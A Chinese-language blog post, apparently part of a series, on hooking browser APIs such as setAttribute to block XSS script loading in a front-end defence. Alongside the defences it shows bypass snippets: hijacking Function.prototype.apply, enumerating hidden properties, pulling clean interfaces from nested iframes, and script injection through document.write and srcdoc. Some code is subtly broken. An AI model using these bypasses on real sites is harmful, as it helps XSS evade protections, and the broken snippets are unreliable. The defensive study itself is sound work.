針對(duì)XSS漏洞的前端防火墻:無(wú)懈可擊的鉤子
昨天嘗試了一系列的可疑模塊攔截試驗(yàn),盡管最終的方案還存在著一些兼容性問(wèn)題,但大體思路已經(jīng)明確了:
靜態(tài)模塊:使用 MutationObserver 掃描。
動(dòng)態(tài)模塊:通過(guò) API 鉤子來(lái)攔截路徑屬性。
提到鉤子程序,大家會(huì)聯(lián)想到傳統(tǒng)應(yīng)用程序里的 API Hook,以及各種外掛木馬。當(dāng)然,未必是系統(tǒng)函數(shù),任何 CPU 指令都能被改寫(xiě)成跳轉(zhuǎn)指令,以實(shí)現(xiàn)先運(yùn)行自己的程序。
無(wú)論是在哪個(gè)層面,鉤子程序的核心理念都是一樣的:無(wú)需修改已有的程序,即可先執(zhí)行我們的程序。
這是一種鏈?zhǔn)秸{(diào)用的模式。調(diào)用者無(wú)需關(guān)心上一級(jí)的細(xì)節(jié),直管用就是了,即使有額外的操作對(duì)其也是不可見(jiàn)的。從最底層的指令攔截,到語(yǔ)言層面的虛函數(shù)繼承,以及更高層次的面向切面,都帶有這類思想。
對(duì)于JavaScript 這樣靈活的語(yǔ)言,任何模式都可以實(shí)現(xiàn)。之前做過(guò)一個(gè)網(wǎng)頁(yè)版的變速齒輪,用的就是這類原理。
JavaScript 鉤子小試
要實(shí)現(xiàn)一個(gè)最基本的鉤子程序非常簡(jiǎn)單,昨天已演示過(guò)了。現(xiàn)在我們?cè)賮?lái)給 setAttribute 接口實(shí)現(xiàn)一個(gè)鉤子:
- // 保存上級(jí)接口
- var raw_fn = Element.prototype.setAttribute;
- // 勾住當(dāng)前接口
- Element.prototype.setAttribute = function(name, value) {
- // 額外細(xì)節(jié)實(shí)現(xiàn)
- if (this.tagName == 'SCRIPT' && /^src$/i.test(name)) {
- if (/xss/.test(value)) {
- if (confirm('試圖加載可疑模塊:\n\n' + url + '\n\n是否攔截?')) {
- return;
- }
- }
- }
- raw_fn.apply(this, arguments);
- };
- // 創(chuàng)建腳本
- var el = document.createElement('script');
- el.setAttribute('SRC', 'http://www.etherdream.com/xss/alert.js');
- document.body.appendChild(el);
Run
類似昨天的訪問(wèn)器攔截,現(xiàn)在我們對(duì) setAttribute 也進(jìn)行類似的監(jiān)控。因?yàn)樗莻€(gè)函數(shù),所有主流瀏覽器都兼容。
鉤子泄露
看起來(lái)似乎毫無(wú)難度,而且也沒(méi)什么不對(duì)的地方,這不就可以了嗎?
如果最終就用這代碼,那也太挫了。我們把原始接口都暴露在全局變量里了,攻擊者只要拿了這個(gè)變量,即可繞過(guò)我們的檢測(cè)代碼:
- var el = document.createElement('script');
- // 直接調(diào)用原始接口
- raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');
- document.body.appendChild(el);
Run
靠,這不算,這只是我們測(cè)試而已。現(xiàn)實(shí)中誰(shuí)會(huì)放在全局變量里呢,這年頭不套一個(gè)閉包的腳本都不好意思拿出來(lái)。
好吧,我還是放閉包里,這總安全了吧。看你怎么隔空取物,從我閉包里偷出來(lái)。
- (function() {
- // 保存上級(jí)接口
- var raw_fn = Element.prototype.setAttribute;
- ...
- })();
不過(guò),真要偷出來(lái),那絕對(duì)是沒(méi)問(wèn)題的!
這個(gè)變量唯一用到的地方就是:
- raw_fn.apply(this, arguments)
這可不是一個(gè)原子操作,而是調(diào)用了 Function.prototype.apply 這個(gè)全局函數(shù)。神馬。。。這。是真的,不信你可以試試!
不用說(shuō),你也懂了。我還是說(shuō)完吧:我們可以重寫(xiě) apply,然后隨便給某個(gè)元素 setAttribute 下,就可以竊聽(tīng)到鉤子傳過(guò)來(lái)的 raw_fn 了。
- Function.prototype.apply = function() {
- console.log('哈哈,得到原始接口了:', this);
- };
- document.body.setAttribute('a', 1);
Run
這也太賤了吧,不帶這樣玩的。可人家就能用這招繞過(guò)你,又怎樣。
你會(huì)想,干脆把 Function.prototype.apply 也提前保存起來(lái)得了。然后一番折騰,你會(huì)發(fā)現(xiàn)代碼變成 apply.apply.apply.apply...
畢竟,apply 和 call 已是最底層了,沒(méi)法再 call 自己了。
這可怎么辦。顯然不能再用 apply 或 call 了,但不用它們沒(méi)法把 this 變量傳進(jìn)去啊。回想下,有哪些方法可以控制 this 的:
obj.method()
method.call(obj)
貌似也就這兩類。排除了第二種,那只剩最古老的用法了。可是我們已經(jīng)重寫(xiě)了現(xiàn)有的接口,再調(diào)用自己那就遞歸溢出了。
但是,我們可以給原始接口換個(gè)名字,不就可以避免沖突了:
- (function() {
- // 保存上級(jí)接口
- ElementElement.prototype.__setAttribute = Element.prototype.setAttribute;
- // 勾住當(dāng)前接口
- Element.prototype.setAttribute = function(name, value) {
- // 額外細(xì)節(jié)實(shí)現(xiàn) ...
- // 向上調(diào)用
- this.__setAttribute(name, value);
- };
- })();
Run
這樣倒是甩掉 apply 這個(gè)包袱了,但是無(wú)論取『__setAttribute』,還是換成其他名字,人家知道了,照樣可以拿出原始接口。所以,我們得取個(gè)復(fù)雜的名字,最好每次還都不一樣:
- (function() {
- // 取個(gè)霸氣的名字
- var token = '$' + Math.random();
- // 保存上級(jí)接口
- Element.prototype[token] = Element.prototype.setAttribute;
- // 勾住當(dāng)前接口
- Element.prototype.setAttribute = function(name, value) {
- // 額外細(xì)節(jié)實(shí)現(xiàn) ...
- // 向上調(diào)用
- this[token](name, value);
- };
- })();
Run
現(xiàn)在,你完全不知道我把原始接口藏在哪了,而且用 this[token](...) 這個(gè)巧妙的方法,同樣符合剛才列舉的第一類用法。
問(wèn)題似乎。。。解決了。但,總感覺(jué)有什么不對(duì)勁。。。人家不知道變量藏哪了,難道不可以找嗎。把 Element.prototype 遍歷下,一個(gè)個(gè)找過(guò)去,不相信會(huì)找不到:
- for(var k in Element.prototype) {
- console.log(k);
- if (k.substr(0,1) == '$') {
- console.error('樓上的,你這名字那么猥瑣,敢露個(gè)面嗎');
- console.error(Element.prototype[k]);
- }
- }
Run
取了個(gè)這么拉風(fēng)的名字,就象是黑暗中的螢火蟲(chóng),瞬間給揪出來(lái)了。你會(huì)說(shuō),為什么不取個(gè)再隱蔽點(diǎn)的名字,甚至還可以冒充良民,把從來(lái)不用的方法給替換了。
不過(guò),無(wú)論想怎么躲,都是徒勞的。有無(wú)數(shù)種方法可以讓你原形畢露。除非 —— 根本不能被人家枚舉到。
屬性隱身術(shù)
如果沒(méi)記錯(cuò)的話,主流 JavaScript 里好像還真有什么叫enumerable、configurable 之類的東西。把它們搬出來(lái),看看能不能賦予我們隱身功能?
馬上就試試:
- // 噓~ 要隱身了
- Object.defineProperty(Element.prototype, token, {
- value: Element.prototype.setAttribute,
- enumerable: false
- });
Run
神奇,紅紅的那坨字果然沒(méi)出現(xiàn)。看來(lái)真的隱身了!
到此,原函數(shù)泄露的問(wèn)題,我們算是搞定了。
不過(guò)暫時(shí)還不能松懈,為什么?連 apply 都能被山寨,那還有什么可以相信的!那些正則表達(dá)式的 test 方法、字符串的大小寫(xiě)轉(zhuǎn)換、數(shù)組的 forEach 等等等等,都是可以被改寫(xiě)的。
要是人家把 RegExp.prototype.test 重寫(xiě)了,并且總是返回 false,那么我們的策略判斷就完全失效了。
所以,我們得重復(fù)上面的步驟,把這些運(yùn)行時(shí)要用到的全局方法,都得隨機(jī)隱匿起來(lái)。
鎖死 call 和 apply
不過(guò),隱藏一個(gè)還好,大量的代碼都用這種 Geek 的方式,顯得很是累贅。
既然能有隱身那樣神奇的魔法,難道就沒(méi)有其他類似的嗎?事實(shí)上,Object.defineProperty 里還有很多有意思的功能,除了讓屬性不可見(jiàn),還能不可寫(xiě)、不可刪等等。
可以讓屬性不可寫(xiě)?太好了,不如干脆把 Function.prototype.call 和 apply 都事先鎖死吧,反正誰(shuí)會(huì)無(wú)聊到重寫(xiě)它們呢。
- Object.defineProperty(Function.prototype, 'call', {
- value: Function.prototype.call,
- writable: false,
- configurable: false,
- enumerable: true
- });
- // apply 也一樣
馬上看看效果:
- Function.prototype.call = function() {
- alert('hello');
- };
- console.log(Function.prototype.call);
果然還是
- function call() { [native code] }
Run
現(xiàn)在,我們大可放心的使用 call 和 apply,再也不用鼓搗那堆隨機(jī)屬性了。
不過(guò)這種隨機(jī)+隱藏的屬性,今后還是有用武之地的,常常用來(lái)給公開(kāi)的對(duì)象做個(gè)秘密的記號(hào),所以沒(méi)有白折騰。
到此,我們終于可以松口氣了。
新頁(yè)面反射
別高興的太早,真正的難題還在后面呢。
既然人家想破解,是會(huì)用盡各種手段的,并不局限于純腳本。因?yàn)檫@是在網(wǎng)頁(yè)里,攻擊者們還可以呼喚出各種變幻莫測(cè)的瀏覽器功能,來(lái)躲避我們。
最簡(jiǎn)單的,就是創(chuàng)建一個(gè)框架頁(yè)面,然后通過(guò) contentWindow 即可獲得一個(gè)全新的環(huán)境:
- // 反射出純凈的接口
- var frm = document.createElement('iframe');
- document.body.appendChild(frm);
- var raw_fn = frm.contentWindow.Element.prototype.setAttribute;
- // 創(chuàng)建腳本
- var el = document.createElement('script');
- raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');
- document.body.appendChild(el);
Run
這時(shí),我們的鉤子程序就被瞬間秒殺了。
盡管同源頁(yè)面之間是可以相互訪問(wèn),但其所在的環(huán)境卻是隔離的。子頁(yè)面所有的一切都是獨(dú)立的副本,完全不受主頁(yè)面影響。
不過(guò),既然能夠訪問(wèn)子頁(yè)面,顯然也能給它們的環(huán)境安裝上鉤子。每當(dāng)有新的框架元素出現(xiàn)時(shí),我們就立即對(duì)其注入防護(hù)程序,讓用戶獲取到的 contentWindow 已是帶有鉤子的。
類似傳統(tǒng)的應(yīng)用程序,每當(dāng)調(diào)用其他程序時(shí),安全軟件需將新創(chuàng)建的進(jìn)程加以防護(hù)。
你說(shuō)會(huì)這很容易辦到。將 createElement 方法勾住,然后在里面判斷創(chuàng)建的是不是框架元素,如果是的話就直接防護(hù)子頁(yè)面,不就可以了嗎?
顯然,這是經(jīng)不起實(shí)踐的。事實(shí)上,只要測(cè)試下你就會(huì)發(fā)現(xiàn),未掛載到主節(jié)點(diǎn)的框架元素,contentWindow 始終是 null。也就是說(shuō),必須在調(diào)用 appendChild 之后才開(kāi)始初始化子頁(yè)面。
因此,我們得借助之前研究的節(jié)點(diǎn)掛載事件,找到一個(gè)能在 appendChild 之后,但在用戶獲取 contentWindow 之前觸發(fā)的事件。
- var observer = new MutationObserver(function(mutations) {
- console.log('MutationObserver:', mutations);
- });
- observer.observe(document, {
- subtree: true,
- childList: true
- });
- document.addEventListener('DOMNodeInserted', function(e) {
- console.log('DOMNodeInserted:', e);
- }, true);
- // 反射出純凈的接口
- var frm = document.createElement('iframe');
- console.warn('begin');
- document.body.appendChild(frm);
- console.warn('end');
- var raw_fn = frm.contentWindow.Element.prototype.setAttribute;
- /** 輸出
- begin
- DOMNodeInserted MutationEvent
- end
- MutationObserver: Array[1]
- MutationObserver: Array[1]
- */
Run
這不,DOMNodeInserted 就能滿足我們的需求。于是,我們使用它來(lái)監(jiān)控框架元素。
一旦發(fā)現(xiàn)有框架掛載到主節(jié)點(diǎn)上,我們趕緊把它的接口也裝上鉤子:
- // 我們防御系統(tǒng)
- (function() {
- function installHook(window) {
- // 保存上級(jí)接口
- var raw_fn = window.Element.prototype.setAttribute;
- // 勾住當(dāng)前接口
- window.Element.prototype.setAttribute = function(name, value) {
- // 試試
- alert(name);
- // 向上調(diào)用
- raw_fn.apply(this, arguments);
- };
- }
- // 先保護(hù)當(dāng)前頁(yè)面
- installHook(window);
- document.addEventListener('DOMNodeInserted', function(e) {
- var eelement = e.target;
- // 給框架里環(huán)境也裝個(gè)鉤子
- if (element.tagName == 'IFRAME') {
- installHook(element.contentWindow);
- }
- }, true);
- })();
- // 反射出純凈的接口
- var frm = document.createElement('iframe');
- document.body.appendChild(frm);
- var raw_fn = frm.contentWindow.Element.prototype.setAttribute;
- // 創(chuàng)建腳本
- var el = document.createElement('script');
- raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');
- document.body.appendChild(el);
Run
完美!對(duì)話框成功彈出來(lái)了!即使從框架頁(yè)里反射出新環(huán)境,仍然帶有我們的鉤子程序。
不過(guò),貌似還漏了些什么。要是從框架頁(yè)里再套框架頁(yè),我們就杯具了:
- // 創(chuàng)建框架頁(yè)
- var frm = document.createElement('iframe');
- document.body.appendChild(frm);
- // 創(chuàng)建框架頁(yè)的框架頁(yè)
- var doc = frm.contentDocument;
- var frm2 = doc.createElement('iframe');
- doc.body.appendChild(frm2);
- // 反射接口
- var raw_fn = frm2.contentWindow.Element.prototype.setAttribute;
- // 創(chuàng)建腳本
- var el = document.createElement('script');
- raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');
- document.body.appendChild(el);
Run
前面說(shuō)了,每個(gè)頁(yè)面環(huán)境是獨(dú)立的,主頁(yè)面是捕捉不到子頁(yè)面里的事件的。所以,框架頁(yè)里創(chuàng)建元素,我們完全不知道。
怎么破?這還不簡(jiǎn)單,索性給框架頁(yè)也綁上 DOMNodeInserted 事件,不就可以層層監(jiān)控了嗎。無(wú)論框架的幾次方,都逃不過(guò)我們的火眼金睛了。
- // 我們防御系統(tǒng)
- (function() {
- function installHook(window) {
- // 保存上級(jí)接口
- var raw_fn = window.Element.prototype.setAttribute;
- // 勾住當(dāng)前接口
- window.Element.prototype.setAttribute = function(name, value) {
- // 試試
- alert(name);
- // 向上調(diào)用
- raw_fn.apply(this, arguments);
- };
- // 監(jiān)控當(dāng)前環(huán)境的元素
- window.document.addEventListener('DOMNodeInserted', function(e) {
- var eelement = e.target;
- // 給框架里環(huán)境也裝個(gè)鉤子
- if (element.tagName == 'IFRAME') {
- installHook(element.contentWindow);
- }
- }, true);
- }
- // 先保護(hù)當(dāng)前頁(yè)面
- installHook(window);
- })();
Run
只需簡(jiǎn)單的小改動(dòng)。我們把 DOMNodeInserted 放到 installHook 里,這樣在安裝鉤子的同時(shí),也對(duì)當(dāng)前 window 中的元素進(jìn)行監(jiān)控。一旦出現(xiàn)框架元素,就遞歸防護(hù)。
現(xiàn)在,我們的框架頁(yè)監(jiān)控已是天衣無(wú)縫了。
新頁(yè)面逆向控制
不過(guò),世上沒(méi)有絕對(duì)的事。
我們只考慮了正向的反射,卻忘了框架也可以逆向控制主頁(yè)面。攻擊者要是能把 XSS 腳本注入到框架頁(yè)里,同樣也可以向上修改主頁(yè)面里的內(nèi)容,發(fā)起信任攻擊。
在框架里引入腳本,方法就更多了。框架元素雖然是動(dòng)態(tài)創(chuàng)建的,但其內(nèi)容可以靜態(tài)呈現(xiàn):
- // 創(chuàng)建框架頁(yè)
- var frm = document.createElement('iframe');
- document.body.appendChild(frm);
- // 靜態(tài)呈現(xiàn)
- frm.contentDocument.write('<\script src=http://www.etherdream.com/xss/alert.js><\/script>');
Run
這只是隨便列舉了一種。事實(shí)上,HTML5 還新增一個(gè)可以直接控制框架頁(yè)內(nèi)容的屬性:srcdoc。
- <iframe srcdoc="<script src=http://www.etherdream.com/xss/alert.js></script>"></iframe>
Run
并且還是在同源環(huán)境中執(zhí)行的:
- <iframe srcdoc="<script>parent.alert('call from frame')</script>"></iframe>
Run
搞了半天結(jié)果還是能被繞過(guò)。
不過(guò)別灰心,經(jīng)測(cè)試,document.write 出來(lái)的內(nèi)容是可以被 MutationObserver 捕獲到的。至于 srcdoc 嘛,這個(gè)偏門的屬性完全可以把它禁掉,或者重寫(xiě)訪問(wèn)器,把 HTML 內(nèi)容用其他辦法代理到頁(yè)面上去。反正這又不是主流的用法,只要最終效果一樣就沒(méi)問(wèn)題了。
當(dāng)然,要是在主頁(yè)面里 document.write 怎么辦?腳本確實(shí)能運(yùn)行,但不白屏了嗎。如果覺(jué)得這有風(fēng)險(xiǎn),可以在 DOMContentLoaded 之后,把 document.write 也屏蔽掉,以免后患。
后記
雖說(shuō)魔高一尺道高一丈,但再牢固的鉤子還是有意想不到的辦法繞過(guò)的。因此我們得與時(shí)俱進(jìn),不斷修繕來(lái)強(qiáng)化防御能力。
到目前為止,我們已對(duì)腳本、框架、API 接口實(shí)現(xiàn)了主動(dòng)防御。但是,具備執(zhí)行能力的元素并不止這些。
例如 Flash 就可以運(yùn)行頁(yè)面中的腳本,光是它就占用了 object,embed,param 那么多元素。
而且,API 防護(hù)鉤子并不全面,只是例舉了幾個(gè)常用的。
下一篇,我們將詳細(xì)的整理需要防護(hù)的監(jiān)控點(diǎn),實(shí)現(xiàn)全方位的防護(hù)。